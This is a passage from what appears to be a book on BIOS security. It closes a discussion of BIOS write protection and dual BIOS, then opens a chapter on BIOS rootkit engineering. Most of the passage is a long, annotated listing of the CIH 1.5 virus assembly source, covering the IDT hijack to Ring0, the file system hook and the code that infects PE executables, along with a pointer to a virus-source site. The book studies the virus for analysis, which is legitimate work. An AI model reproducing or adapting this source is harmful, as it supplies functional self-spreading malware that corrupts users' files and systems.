0007FFC0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
0007FFD0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
0007FFE0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
0007FFF0 0000 0000 0000 0000 0000 0000 0000 0000 ................ 
 
 Hex dump 11.4 shows a bogus result, because every byte contains 00h.17 It shouldn't 
be 00h in all address ranges because the original hexadecimal dump doesn't contain 00h in 
all address ranges. You can compare hex dumps 11.3 and 11.4 to clarify my statement. At 
this point, you can conclude that the BIOS chip doesn't respond when it's accessed after 
being disabled. A further writing experiment that I carried out on the BIOS chip also gave a 
bogus result. The content of the BIOS chip doesn't change after access to the BIOS chip is 
disabled. Rebooting the machine confirms this result. 
 The little experiment that I carried out shows that a hardware security measure that's 
implemented correctly can fight against BIOS tampering effectively. Nonetheless, it only 
works for motherboard BIOS; PCI expansion ROM that's not part of the motherboard BIOS 
still risks of being easily tampered with. 
 Some motherboard manufacturers also don't implement this feature correctly. They 
only set the write-lock bit in the BIOS chip when you set BIOS flash protect to enabled in 
the BIOS setting. They don't set the lock down bit. Therefore, it's easy for Windows-based 
or Linux-based software to tamper with the BIOS chip contents. You learned how to do that 
in chapter 9. You can imagine the effect if the software is a malicious application. 
 Now, into another issue that seems to be a hardware solution to BIOS tampering, the 
so-called dual BIOS18 solution that uses two BIOS chips to protect against system failure 
caused by malfunction in one chip. Some motherboard manufacturers that sell 
motherboards equipped with dual BIOS state that one purpose of dual BIOS is to fight a 
malicious BIOS virus. Indeed, this kind of protection will work against old viruses such as 
the CIH, or Chernobyl, virus written by Chen Ing Hau of Taiwan that render the BIOS 
contents useless and made the system unable to boot. Nonetheless, as I explained 
previously, the hardware protection will prevent BIOS tampering only if the BIOS chip is 
inaccessible or at least the write-lock and the lock-down bits in the chip are set to one. 
Dual BIOS won't protect the system from "correct" BIOS tampering, because as long as the 
system can boot perfectly from the primary BIOS chip, it will boot from it. In this case, the 
system won't be aware that the BIOS chip contents have been modified; as long as the 
modification doesn't screw up the BIOS, it's OK. By "correct" BIOS tampering, I mean a 
modification to BIOS chip that still keeps the system usable. For example, a BIOS code 
injection is legitimate BIOS tampering from the dual BIOS point of view, because the 
system will still boot from the primary BIOS chip. Therefore, dual BIOS might be useful 
                                                 
17 Every byte in the hex dump result contains 00h, from the beginning to end. It's not shown entirely 
because of the space constraints in this book. 
18 Some manufacturers name this feature top-hat flash, and there are many other terms. I stick to dual 
BIOS. 



against BIOS viruses that render the BIOS unusable, but it can't fight non-destructive BIOS 
tampering. Gigabyte Technology19 implements dual BIOS in its motherboards by using two 
BIOS flash chips. Upon boot, the BIOS code will check the integrity of the BIOS module 
checksums. If there is a checksum error, the currently executed BIOS code will switch 
execution to the other BIOS chip that was not used to boot the system. I don't know how 
this is accomplished because I have never reverse-engineered BIOS binary for dual BIOS 
motherboards. However, after reading the motherboard manual, it seems that the checksum 
checks are executed in the boot block code. If you're interested in digging deeper into the 
subject of dual BIOS, you can download Gigabyte Technology's GA-965P-DS4 
motherboard manual at 
http://www.gigabyte.com.tw/Support/Motherboard/Manual_Model.aspx?ClassValue=Moth
erboard&ProductID=2288&ProductName=GA-965P-DS4 and read the section that 
introduces the flash BIOS method to start your investigation. 
 

                                                 
19 Gigabyte Technology is based in Taiwan. It's one of the three big manufacturers of PC peripherals. 
The official website is http://www.gigabyte.com.tw. 



Chapter 12 BIOS Rootkit Engineering 
 
 
PREVIEW 
 
 In the previous chapters, you learned the basic techniques to interact with the firmware 
in the system. This chapter combines those techniques into the ultimate tool, the BIOS 
rootkit. I start by reviewing the history of BIOS exploitation, dissecting the legendary CIH 
virus, and then proceed to explaining how to devise a BIOS rootkit. The techniques that 
you learn in this chapter could be classified as "forbidden" techniques; in the ninjutsu realm 
they would be kinjutsu, or "forbidden" skills. The techniques I show here are only for 
experts because they are complicated, are risky, and can damage your system permanently. 
Don't try any of these techniques if you don't understand their mechanism in detail. You 
have been warned. 
 
 
12.1. Looking Back through BIOS Exploitation History 
 
 In the history of PC-based computing, there was one major virus outbreak on the PC 
BIOS, the CIH virus, written by Chen Ing Hau of Taiwan. There were several variants of 
CIH. This section shows a snippet from source code of CIH version 1.5. It shows the 
method used by CIH to destroy the BIOS. I don't explain the infection method used by CIH 
in detail because the focus in this chapter is synthesizing a BIOS rootkit. The source code is 
available at http://vx.netlux.org/src_view.php?file=cih15.zip. This website has a search 
feature; you can use it to locate other versions of CIH source code. 
 As with other viruses' code, CIH source code is twisted and hard to understand because 
it uses many indirect branching instructions. I show you the basic idea behind this virus 
before delving into its code snippets. The characteristics of CIH 1.5 are as follows: 
 

1. It infects executable files, particularly the so-called portable executable (PE) file. 
In this context, PE files are 32-bit executable files that run on the Windows 
platform. 

2. It modifies the interrupt descriptor table (IDT) with an exception handler entry that 
points to the custom exception handler routine in the virus code. 

3. It raises an exception to enter kernel mode. The kernel mode code is in the virus's 
custom exception handler routine. 

4. Characteristics 2 and 3 imply that the virus code must be able to modify IDT 
entries from user-mode code. Therefore, CIH cannot run in Windows versions 
based on an NT kernel, i.e., it cannot run in Windows NT/2000/XP because IDT is 
not accessible to user-mode code in these Windows versions. CIH can run only in 
Windows 9x operating systems because IDT can be modified from user-mode 
code in these operating systems. 

5. In its exception handler, it installs a new file system hook in Windows 9x to infect 
executable files. This file system hook also contains code to destroy the system. 



6. The code to destroy the system is time based. The code checks the current date 
before executing the destruction code. If the date matches the predefined 
"activation date" in the virus code, it will destroy the system; otherwise, it will not. 
It doesn't destroy the system immediately after the infection. 

7. The destruction code destroys the content of the BIOS chip in systems that use the 
Intel PIIX1 chipset. It also destroys the contents of the HDD. I don't delve into the 
HDD destruction routine in this section. I focus on the BIOS destruction code 
instead. 

 
 Now you have an idea of what the CIH code contains. Figure 12.1 shows the rough 
layout of CIH 1.5 source code. 

 
Figure 12.1 CIH source code layouts 

 
 Figure 12.1 shows that CIH source code uses two logical segments. The first is used as 
the template for the infected PE files, and the second is used for the virus routines. The 
second segment is divided into three components: IDT modification routine, exception 
handler routine, and file system API hook routine. I won't explain the contents of the first 
segment. If you want to understand this segment, look for tutorial on the PE file format on 
the Web. The second segment contains all of the code that you need to understand. A 
glimpse of the algorithm used by CIH 1.5 was already presented in the explanation of its 
characteristics. Now, I'll show the heavily commented code for the second segment in CIH 
1.5 source code. You'll examine its code flow later. 
 

Listing 12.1 Contents of the Second Segment in CIH Source Code 

VirusGame      SEGMENT 
   ASSUME   CS:VirusGame, DS:VirusGame, SS:VirusGame 
   ASSUME   ES:VirusGame, FS:VirusGame, GS:VirusGame 
 
; ********************************************************* 
; *             Ring3 Virus Game Initial Program          * 
; ********************************************************* 
MyVirusStart: 

                                                 
1 This southbridge chip is used with Intel 440BX, 430BX, and 440GX northbridges. PIIX stands for 
PCI-to-ISA/IDE Xcelerator. 



         push   ebp 
 
; ************************************** 
; * Modify structured exception        * 
; * handling and prevent exception     * 
; * error occurrence, especially in NT * 
; ************************************** 
   lea   eax, [esp-04h*2] 
   xor   ebx, ebx 
   xchg  eax, fs:[ebx] 
   call  @0   ; "Relative" (calculated from the end of this opcode) call 
              ; to @0 routine 
@0: 
   pop   ebx  ; ebx = return address -> i.e., address right after the 
              ; calling opcode at runtime 
   lea   ecx, StopToRunVirusCode-@0[ebx] ; ecx = StopToRunVirusCode - @0 
                                         ;       + ebx 
              ; i.e., ecx = runtime address of StopToRunVirusCode label 
   push  ecx  ; Save runtime address of StopToRunVirusCode label to stack 
   push  eax  ; Save fs:[0] to stack 
 
; ************************************** 
; * Modify the IDT                     * 
; * to obtain Ring0 privilege          * 
; ************************************** 
   push  eax           ; Put "dummy" placeholder for IDT base address 
                       ; into stack 
   sidt  [esp-02h]     ; Obtain IDT base address; store it in stack 
                       ; (esp-2 = 16-bit IDT limit) 
   pop   ebx           ; ebx = IDT base address (32 bits) 
   add   ebx, HookExceptionNumber*08h+04h ; ZF = 0; 
                                     ; ebx = pointer to patched IDT entry 
   cli   ; Disable maskable interrupt; exception is still enabled 
   mov   ebp, [ebx]    ; Save exception-handler base address 
                       ; (bits 16-31) to ebp 
   mov   bp, [ebx-04h] ; Save exception-handler base address 
                       ; (bits 0-15) to ebp 
   lea   esi, MyExceptionHook-@1[ecx]; esi = MyExceptionHook - 
             ; StopToRunVirusCode + runtime address of StopToRunVirusCode 
             ; i.e., esi = runtime address of MyExceptionHook label 
   push  esi ; Save runtime address of MyExceptionHook label to stack 
   mov   [ebx-04h], si ; Modify exception-handler entry point address 
                       ; (bits 0-15) 
   shr   esi, 16       ; si = exception-handler entry point address 
                       ; (bits 16-31) 
   mov   [ebx+02h], si ; modify exception-handler entry point address 
                       ; (bits 16-31) 
   pop   esi           ; esi = runtime address of MyExceptionHook label 
 
; ************************************** 
; * Generate exception to obtain Ring0 * 



; ************************************** 
   int   HookExceptionNumber ; Generate exception -> jump to 
       ; MyExceptionHook routine -> allocate system memory for this virus 
ReturnAddressOfEndException =  $ 
 
; ************************************** 
; * Merge all virus code section       * 
; ************************************** 
   push  esi 
   mov   esi, eax        ; esi = address of allocated system memory 
 
LoopOfMergeAllVirusCodeSection: 
   mov   ecx, [eax-04h]  ; ecx = VirusSize -> Hint: look at the end of 
                         ;                    OriginalAppEXE 
   rep   movsb           ; Copy virus code to system memory 
   sub   eax, 08h 
   mov   esi, [eax] 
   or esi, esi           ; First pass, esi = 0 
   jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 
   jmp   LoopOfMergeAllVirusCodeSection 
 
QuitLoopOfMergeAllVirusCodeSection: 
   pop   esi 
 
; ************************************** 
; * Generate exception again           * 
; ************************************** 
   int   HookExceptionNumber ; Generate exception again -> jump to 
       ; MyExceptionHook routine -> install file system hook 
 
; ************************************** 
; * Restore structured                 * 
; * exception handling                 * 
; ************************************** 
ReadyRestoreSE: 
   sti 
   xor   ebx, ebx 
   jmp   RestoreSE 
 
; ************************************** 
; * When exception error occurs,       * 
; * the OS system should be in NT      * 
; * so that this cute virus will not   * 
; * continue to run; it jumps to       * 
; * the original application to run    * 
; ************************************** 
StopToRunVirusCode: 
@1        =  StopToRunVirusCode 
 
   xor   ebx, ebx 
   mov   eax, fs:[ebx] 



   mov   esp, [eax] 
 
RestoreSE: 
   pop   dword ptr fs:[ebx] 
   pop   eax ; eax = runtime address of FileSystemApiHook label 
 
; ************************************** 
; * Return original app to execute     * 
; ************************************** 
   pop   ebp 
   push  00401000h ; Push original application entry point to stack 
OriginalAddressOfEntryPoint   = $-4 
   ret             ; Return to original application entry point 
 
; ********************************************************* 
; *             Ring0 Virus Game Initial Program          * 
; ********************************************************* 
MyExceptionHook: 
@2        =  MyExceptionHook 
   jz InstallMyFileSystemApiHook  ; First pass, jump is _not_ taken 
                                  ; Second pass, jump _is_ taken 
; ************************************** 
; * Does the virus exist in the system?* 
; ************************************** 
   mov   ecx, dr0 
   jecxz AllocateSystemMemoryPage ; First pass, jump is taken because 
                                  ; default value for DR0 on boot is 0 
   add  dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException 
              ; Set return address to point to runtime address 
              ; of ReadyRestoreSE label 
; ************************************** 
; * Return to Ring3 initial program    * 
; ************************************** 
ExitRing0Init: 
   mov   [ebx-04h], bp ; 
   shr   ebp, 16       ; Restore exception 
   mov   [ebx+02h], bp ; 
   iretd               ; Jump to ReadyRestoreSE label 
 
; ************************************** 
; * Allocate system memory page to use * 
; ************************************** 
AllocateSystemMemoryPage: 
   mov   dr0, ebx      ; Set the mark of My Virus Exists in System 
   push  00000000fh    ; 
   push  ecx           ; First-pass push 0 
   push  0ffffffffh 
   push  ecx           ; First-pass push 0 
   push  ecx           ; First-pass push 0 
   push  ecx           ; First-pass push 0 
   push  000000001h    ; 



   push  000000002h    ; 
   int   20h           ; VMMCALL _PageAllocate 
_PageAllocate     = $  ; 
   dd 00010053h        ; Use EAX, ECX, EDX, and flags 
   add   esp, 08h*04h  ; Balance stack pointer 
   xchg  edi, eax      ; EDI = allocated system memory start address 
   lea   eax, MyVirusStart-@2[esi] ; eax = MyVirusStart - MyExceptionHook 
                                   ;       + runtime address of 
                                   ;         MyExceptionHook label 
                                   ; i.e., runtime address of 
                                   ; MyVirusStart label 
   iretd               ; Return to Ring3 initial program 
 
; ************************************** 
; * Install my file system API hook    * 
; ************************************** 
InstallMyFileSystemApiHook: 
   lea   eax, FileSystemApiHook-@6[edi] ; eax = runtime address of 
                ;  FileSystemApiHook in the allocated system memory pages 
 
   push  eax    ; 
   int   20h    ; VXDCALL IFSMgr_InstallFileSystemApiHook 
IFSMgr_InstallFileSystemApiHook = $ 
   dd 00400067h ; Use EAX, ECX, EDX, and flags 
                ; This variable is patched by Windows 9x's virtual 
                ; machine manager (VMM) to point to the real 
                ; IFSMgr_InstallFileSystemApiHook procedure when int 20h 
                ; is being processed 
   mov   dr0, eax   ; Save OldFileSystemApiHook address 
   pop   eax    ; EAX = FileSystemApiHook runtime address in the 
                ;       allocated system memory 
                ; Save Old IFSMgr_InstallFileSystemApiHook entry point 
   mov   ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] ; ecx = pointer to 
                ; entry point of IFSMgr_InstallFileSystemApiHook function 
   mov   edx, [ecx] ; edx = IFSMgr_InstallFileSystemApiHook function 
                    ;       entry point in the system 
   mov   OldInstallFileSystemApiHook-@3[eax], edx     ; Save address of 
                ; old IFSMgr_InstallFileSystemApiHook to allocated 
                ; system memory 
                ; Modify IFSMgr_InstallFileSystemApiHook entry point 
   lea   eax, InstallFileSystemApiHook-@3[eax]        ; eax = runtime 
                ; address of InstallFileSystemApiHook label in 
                ; allocated system memory 
   mov   [ecx], eax ; Modify IFSMgr_InstallFileSystemApiHook entry point 
                    ; to point to this virus's custom procedure in the 
                    ; allocated system memory 
   cli 
   jmp   ExitRing0Init 
 
; ********************************************************* 
; *             Code Size of Merge Virus Code Section     * 



; ********************************************************* 
CodeSizeOfMergeVirusCodeSection  = offset $ 
 
; ********************************************************* 
; *             IFSMgr_InstallFileSystemApiHook           * 
; ********************************************************* 
InstallFileSystemApiHook: 
   push  ebx 
   call  @4 ; 
@4:               ; 
   pop   ebx      ; mov ebx, offset FileSystemApiHook 
   add   ebx, FileSystemApiHook-@4 ; 
   push  ebx 
   int   20h      ; VXDCALL IFSMgr_RemoveFileSystemApiHook 
IFSMgr_RemoveFileSystemApiHook = $ 
   dd 00400068h   ; Use EAX, ECX, EDX, and flags 
   pop   eax 
   ; Call original IFSMgr_InstallFileSystemApiHook 
   ; to link client FileSystemApiHook 
   push  dword ptr [esp+8] 
   call  OldInstallFileSystemApiHook-@3[ebx] 
   pop   ecx 
   push  eax 
   ; Call original IFSMgr_InstallFileSystemApiHook 
   ; to link my FileSystemApiHook 
   push  ebx 
   call  OldInstallFileSystemApiHook-@3[ebx] 
   pop   ecx 
   mov   dr0, eax ; Adjust OldFileSystemApiHook address 
   pop   eax 
   pop   ebx 
   ret 
 
; ********************************************************* 
; *                     Static Data                       * 
; ********************************************************* 
OldInstallFileSystemApiHook dd ? 
 
; ********************************************************* 
; *             IFSMgr_FileSystemHook                     * 
; ********************************************************* 
 
; ************************************** 
; * IFSMgr_FileSystemHook entry point  * 
; ************************************** 
FileSystemApiHook: 
@3      = FileSystemApiHook 
 
   pushad 
   call  @5 ; 
@5:               ; 



   pop   esi      ; mov esi, offset VirusGameDataStartAddress 
   add   esi, VirusGameDataStartAddress-@5 ; esi = runtime address of 
                                           ;       VirusSize 
 
; ************************************** 
; * Is OnBusy?                         * 
; ************************************** 
   test  byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) 
   jnz   pIFSFunc ; goto pIFSFunc 
 
; ************************************** 
; * Is OpenFile?                       * 
; ************************************** 
   ; if ( NotOpenFile ) 
   ; goto prevhook 
   lea   ebx, [esp+20h+04h+04h] 
   cmp   dword ptr [ebx], 00000024h 
   jne   prevhook 
 
; ************************************** 
; * Enable OnBusy                      * 
; ************************************** 
   inc   byte ptr (OnBusy-@6)[esi]      ; Enable OnBusy 
 
; ************************************** 
; * Obtain FilePath's DriveNumber,     * 
; * then set the DriveName to          * 
; * FileNameBuffer                     * 
; ************************************** 
; * e.g., if DriveNumber is 03h,       * 
; *     DriveName is 'C:'              * 
; ************************************** 
   add   esi, FileNameBuffer-@6 
   push  esi 
   mov   al, [ebx+04h] 
   cmp   al, 0ffh 
   je CallUniToBCSPath 
   add   al, 40h 
   mov   ah, ':' 
   mov   [esi], eax 
   inc   esi 
   inc   esi 
 
; ************************************** 
; * UniToBCSPath                       * 
; ************************************** 
; * This service converts              * 
; * a canonicalized Unicode path name  * 
; * to a normal path name in the       * 
; * specified basic character set (BCS)* 
; ************************************** 



CallUniToBCSPath: 
   push  00000000h 
   push  FileNameBufferSize 
   mov   ebx, [ebx+10h] 
   mov   eax, [ebx+0ch] 
   add   eax, 04h 
   push  eax 
   push  esi 
   int   20h ; VXDCall UniToBCSPath 
UniToBCSPath     = $ 
   dd 00400041h 
   add   esp, 04h*04h 
 
; ************************************** 
; * Is FileName '.EXE'?                * 
; ************************************** 
   cmp   [esi+eax-04h], 'EXE.' 
   pop   esi 
   jne   DisableOnBusy 
 
IF DEBUG 
 
; ************************************** 
; * Only for Debug                     * 
; ************************************** 
   cmp   [esi+eax-06h], 'KCUF' 
   jne   DisableOnBusy 
 
ENDIF 
 
; ************************************** 
; * Is existing file open?             * 
; ************************************** 
   ; if ( NotOpenExistingFile ) 
   ; goto DisableOnBusy 
   cmp   word ptr [ebx+18h], 01h 
   jne   DisableOnBusy 
 
; ************************************** 
; * Obtain attributes of the file      * 
; ************************************** 
   mov   ax, 4300h 
   int   20h ; VXDCall IFSMgr_Ring0_FileIO 
IFSMgr_Ring0_FileIO = $ 
   dd 00400032h 
   jc DisableOnBusy 
   push  ecx 
 
; ************************************** 
; * Obtain IFSMgr_Ring0_FileIO address * 
; ************************************** 



   mov   edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] ; edi = runtime 
             ;        address of IFSMgr_Ring0_FileIO label 
   mov   edi, [edi] ; edi = IFSMgr_Ring0_FileIO function address in the 
                    ;       kernel 
 
; ************************************** 
; * Is read-only file?                 * 
; ************************************** 
   test cl, 01h 
   jz OpenFile 
 
; ************************************** 
; * Modify read-only file to write     * 
; ************************************** 
   mov   ax, 4301h 
   xor   ecx, ecx 
   call  edi ; VXDCall IFSMgr_Ring0_FileIO 
 
; ************************************** 
; * Open file                          * 
; ************************************** 
OpenFile: 
   xor   eax, eax 
   mov   ah, 0d5h 
   xor   ecx, ecx 
   xor   edx, edx 
   inc   edx 
   mov   ebx, edx 
   inc   ebx 
   call  edi ; VXDCall IFSMgr_Ring0_FileIO 
   xchg  ebx, eax ; mov ebx, FileHandle 
 
; ************************************** 
; * Need to restore                    * 
; * attributes of the file?            * 
; ************************************** 
   pop   ecx 
   pushf 
   test cl, 01h 
   jz IsOpenFileOK 
 
; ************************************** 
; * Restore attributes of file         * 
; ************************************** 
   mov   ax, 4301h 
   call  edi ; VXDCall IFSMgr_Ring0_FileIO 
 
; ************************************** 
; * Is open file OK?                   * 
; ************************************** 
IsOpenFileOK: 



   popf 
   jc DisableOnBusy 
 
; ************************************** 
; * Open file already succeed    ^__^  * 
; ************************************** 
   push  esi ; Push FileNameBuffer address to stack 
 
   pushf     ; Now CF = 0, push flag to stack 
 
   add   esi, DataBuffer-@7 ; mov esi, offset DataBuffer 
 
; *************************** 
; * Obtain OffsetToNewHeader* 
; *************************** 
   xor   eax, eax 
   mov   ah, 0d6h 
   ; For doing minimal virus code's length, 
   ; I save EAX to EBP 
   mov   ebp, eax 
   push  00000004h 
   pop   ecx 
   push  0000003ch 
   pop   edx 
   call  edi ; VXDCall IFSMgr_Ring0_FileIO 
   mov   edx, [esi] 
 
; *************************** 
; * Obtain 'PE\0' signature * 
; * of ImageFileHeader and  * 
; * infected mark           * 
; *************************** 
   dec   edx 
   mov   eax, ebp 
   call  edi ; VXDCall IFSMgr_Ring0_FileIO 
 
; *************************** 
; * Is PE?                  * 
; *************************** 
; * Is the file             * 
; * already infected?       * 
; *************************** 
; * WinZip self-extractor   * 
; * doesn't have infected   * 
; * mark because my virus   * 
; * doesn't infect it       * 
; *************************** 
   cmp   dword ptr [esi], 00455000h ; Check PE file signature 
   jne   CloseFile 
 
; ************************************* 



; * The file is indeed PE         ^o^ * 
; ************************************* 
; * The file also isn't infected      * 
; ************************************* 
 
; ************************************* 
; * Start to infect the file          * 
; ************************************* 
; * Registers use status now:         * 
; *                                   * 
; * EAX = 04h                         * 
; * EBX = File handle                 * 
; * ECX = 04h                         * 
; * EDX = 'PE\0\0' Signature of       * 
; *       ImageFileHeader pointer's   * 
; *       former byte                 * 
; * ESI = DataBuffer address ==> @8   * 
; * EDI = IFSMgr_Ring0_FileIO address * 
; * EBP = D600h ==> Read data in file * 
; ************************************* 
; * Stack Dump:                       * 
; *                                   * 
; * ESP => -------------------------  * 
; *        |       EFLAG(CF=0)     |  * 
; *        -------------------------  * 
; *        | FileNameBufferPointer |  * 
; *        -------------------------  * 
; *        |          EDI          |  * 
; *        -------------------------  * 
; *        |          ESI          |  * 
; *        -------------------------  * 
; *        |          EBP          |  * 
; *        -------------------------  * 
; *        |          ESP          |  * 
; *        -------------------------  * 
; *        |          EBX          |  * 
; *        -------------------------  * 
; *        |          EDX          |  * 
; *        -------------------------  * 
; *        |          ECX          |  * 
; *        -------------------------  * 
; *        |          EAX          |  * 
; *        -------------------------  * 
; *        |     Return Address    |  * 
; *        -------------------------  * 
; ************************************* 
   push  ebx  ; Save file handle 
   push  00h  ; Set VirusCodeSectionTableEndMark 
 
; *************************** 
; * Set the                 * 



; * virus's infected mark   * 
; *************************** 
   push  01h  ; Size 
   push  edx  ; Pointer of file 
   push  edi  ; Address of buffer 
 
; *************************** 
; * Save ESP register       * 
; *************************** 
   mov   dr1, esp 
 
; *************************** 
; * Set the                 * 
; * NewAddressOfEntryPoint  * 
; * (only first set size)   * 
; *************************** 
   push  eax  ; Size 
 
; *************************** 
; * Read image              * 
; * header in file          * 
; *************************** 
   mov   eax, ebp 
   mov   cl, SizeOfImageHeaderToRead 
   add   edx, 07h ; Move EDX to NumberOfSections 
   call  edi      ; VXDCall IFSMgr_Ring0_FileIO 
 
; *************************** 
; * Set the                 * 
; * NewAddressOfEntryPoint  * 
; * (set pointer of file,   * 
; *   address of buffer)    * 
; *************************** 
   lea   eax, (AddressOfEntryPoint-@8)[edx] 
   push  eax  ; Pointer of file 
   lea   eax, (NewAddressOfEntryPoint-@8)[esi] 
   push  eax  ; Address of buffer 
 
; *************************** 
; * Move EDX to the start   * 
; * of SectionTable in file * 
; *************************** 
   movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] 
   lea   edx, [eax+edx+12h] 
 
; *************************** 
; * Find total              * 
; * size of sections        * 
; *************************** 
   mov   al, SizeOfSectionTable 
   ; I Assume NumberOfSections <= 0ffh 



   mov   cl, (NumberOfSections-@8)[esi] 
   mul   cl 
 
; *************************** 
; * Set section table       * 
; *************************** 
   ; Move ESI to the start of SectionTable 
   lea   esi, (StartOfSectionTable-@8)[esi] 
   push  eax  ; Size 
   push  edx  ; Pointer of file 
   push  esi  ; Address of buffer 
 
; *************************** 
; * Code size of merged     * 
; * virus code section and  * 
; * total size of virus     * 
; * code section table must * 
; * be smaller than or equal* 
; * to unused space size of * 
; * following section table * 
; *************************** 
   inc   ecx 
   push  ecx  ; Save NumberOfSections+1 
   shl   ecx, 03h 
   push  ecx  ; Save TotalSizeOfVirusCodeSectionTable 
 
   add   ecx, eax 
   add   ecx, edx 
   sub   ecx, (SizeOfHeaders-@9)[esi] 
   not   ecx 
   inc   ecx 
   ; Save my virus first section code 
   ; size of following section table... 
   ; (do not include size of virus code section table) 
   push  ecx 
   xchg  ecx, eax  ; ECX = size of section table 
   ; Save original address of entry point 
   mov   eax, (AddressOfEntryPoint-@9)[esi] 
   add   eax, (ImageBase-@9)[esi] 
   mov   (OriginalAddressOfEntryPoint-@9)[esi], eax 
   cmp   word ptr [esp], small CodeSizeOfMergeVirusCodeSection 
   jl OnlySetInfectedMark 
 
; *************************** 
; * Read all section tables * 
; *************************** 
   mov   eax, ebp 
   call  edi  ; VXDCall IFSMgr_Ring0_FileIO 
 
; *************************** 
; * Fully modify the bug:   * 



; * WinZip self-extractor   * 
; * error occurs...         * 
; *************************** 
; * So when user opens      * 
; * WinZip self-extractor,  * 
; * virus doesn't infect it * 
; *************************** 
; * Virus obtains the       * 
; * PointerToRawData in the * 
; * second section table,   * 
; * reads the section data, * 
; * and tests the string of * 
; * 'WinZip(R)'             * 
; *************************** 
   xchg  eax, ebp 
   push  00000004h 
   pop   ecx 
   push  edx 
   mov   edx, (SizeOfSectionTable+PointerToRawData-@9)[esi] 
   add   edx, 12h 
   call  edi  ; VXDCall IFSMgr_Ring0_FileIO 
   cmp   dword ptr [esi], 'piZniW' 
   je NotSetInfectedMark 
   pop   edx 
 
; *************************** 
; * Set total virus         * 
; * code section table      * 
; *************************** 
   ; EBX = my virus first section code 
   ;       size of following section table 
   pop   ebx 
   pop   edi  ; EDI = TotalSizeOfVirusCodeSectionTable 
   pop   ecx  ; ECX = NumberOfSections+1 
   push  edi  ; Size 
   add   edx, ebp 
   push  edx  ; Pointer of file 
   add   ebp, esi 
   push  ebp  ; Address of buffer 
 
; *************************** 
; * Set the first virus     * 
; * code section size in    * 
; * VirusCodeSectionTable   * 
; *************************** 
   lea   eax, [ebp+edi-04h] 
   mov   [eax], ebx 
 
; *************************** 
; * Set my virus            * 
; * first section code      * 



; *************************** 
   push  ebx  ; Size 
   add   edx, edi 
   push  edx  ; Pointer of file 
   lea   edi, (MyVirusStart-@9)[esi] 
   push  edi  ; Address of buffer 
 
; *************************** 
; * Modify the              * 
; * AddressOfEntryPoint to  * 
; * my virus entry point    * 
; *************************** 
   mov   (NewAddressOfEntryPoint-@9)[esi], edx 
 
; *************************** 
; * Setup initial data      * 
; *************************** 
   lea   edx, [esi-SizeOfSectionTable] 
   mov   ebp, offset VirusSize 
   jmp   StartToWriteCodeToSections 
 
; *************************** 
; * Write code to sections  * 
; *************************** 
LoopOfWriteCodeToSections: 
   add   edx, SizeOfSectionTable 
   mov   ebx, (SizeOfRawData-@9)[edx] 
   sub   ebx, (VirtualSize-@9)[edx] 
   jbe   EndOfWriteCodeToSections 
   push  ebx  ; Size 
   sub   eax, 08h 
   mov   [eax], ebx 
   mov   ebx, (PointerToRawData-@9)[edx] 
   add   ebx, (VirtualSize-@9)[edx] 
   push  ebx  ; Pointer of file 
   push  edi  ; Address of buffer 
   mov   ebx, (VirtualSize-@9)[edx] 
   add   ebx, (VirtualAddress-@9)[edx] 
   add   ebx, (ImageBase-@9)[esi] 
   mov   [eax+4], ebx 
   mov   ebx, [eax] 
   add   (VirtualSize-@9)[edx], ebx 
 
   ; Section contains initialized data ==> 00000040h 
   ; Section can be read               ==> 40000000h 
   or (Characteristics-@9)[edx], 40000040h 
 
StartToWriteCodeToSections: 
   sub   ebp, ebx 
   jbe   SetVirusCodeSectionTableEndMark 
   add   edi, ebx ; Move address of buffer 



 
EndOfWriteCodeToSections: 
   loop  LoopOfWriteCodeToSections 
 
; *************************** 
; * Only set infected mark  * 
; *************************** 
OnlySetInfectedMark: 
   mov   esp, dr1 
   jmp   WriteVirusCodeToFile 
 
; *************************** 
; * Not set infected mark   * 
; *************************** 
NotSetInfectedMark: 
   add   esp, 3ch 
   jmp   CloseFile 
 
; *************************** 
; * Set virus code          * 
; * section table end mark  * 
; *************************** 
SetVirusCodeSectionTableEndMark: 
   ; Adjust size of virus section code to correct value 
   add   [eax], ebp 
   add   [esp+08h], ebp 
 
   ; Set end mark 
   xor   ebx, ebx 
   mov   [eax-04h], ebx 
 
; *************************** 
; * When VirusGame calls    * 
; * VxDCall, VMM modifies   * 
; * the 'int 20h' and the   * 
; * 'Service Identifier'    * 
; * to 'Call [XXXXXXXX]'    * 
; *************************** 
; * Before writing my virus * 
; * to files, I must        * 
; * restore VxD function    * 
; * pointers   ^__^         * 
; *************************** 
   lea   eax, (LastVxDCallAddress-2-@9)[esi] 
   mov   cl, VxDCallTableSize 
 
LoopOfRestoreVxDCallID: 
   mov   word ptr [eax], 20cdh 
   mov   edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] 
   mov   [eax+2], edx 
   movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] 



   sub   eax, edx 
   loop  LoopOfRestoreVxDCallID 
 
; *************************** 
; * Write virus code        * 
; * to the file             * 
; *************************** 
WriteVirusCodeToFile: 
   mov   eax, dr1 
   mov   ebx, [eax+10h] 
   mov   edi, [eax] 
 
LoopOfWriteVirusCodeToFile: 
   pop   ecx 
   jecxz SetFileModificationMark 
   mov   esi, ecx 
   mov   eax, 0d601h 
   pop   edx 
   pop   ecx 
   call  edi  ; VXDCall IFSMgr_Ring0_FileIO 
   jmp   LoopOfWriteVirusCodeToFile 
 
; *************************** 
; * Set CF = 1 ==>          * 
; * need to restore file    * 
; * modification time       * 
; *************************** 
SetFileModificationMark: 
   pop   ebx 
   pop   eax 
   stc        ; Enable CF(carry flag) 
   pushf 
 
; ************************************** 
; * Close file                         * 
; ************************************** 
CloseFile: 
   xor   eax, eax 
   mov   ah, 0d7h 
   call  edi  ; VXDCall IFSMgr_Ring0_FileIO 
 
; ************************************** 
; * Need to restore file modification  * 
; * time?                              * 
; ************************************** 
   popf 
   pop   esi 
   jnc  IsKillComputer 
 
; ************************************** 
; * Restore file modification time     * 



; ************************************** 
   mov   ebx, edi 
   mov   ax, 4303h 
   mov   ecx, (FileModificationTime-@7)[esi] 
   mov   edi, (FileModificationTime+2-@7)[esi] 
   call  ebx  ; VXDCall IFSMgr_Ring0_FileIO 
 
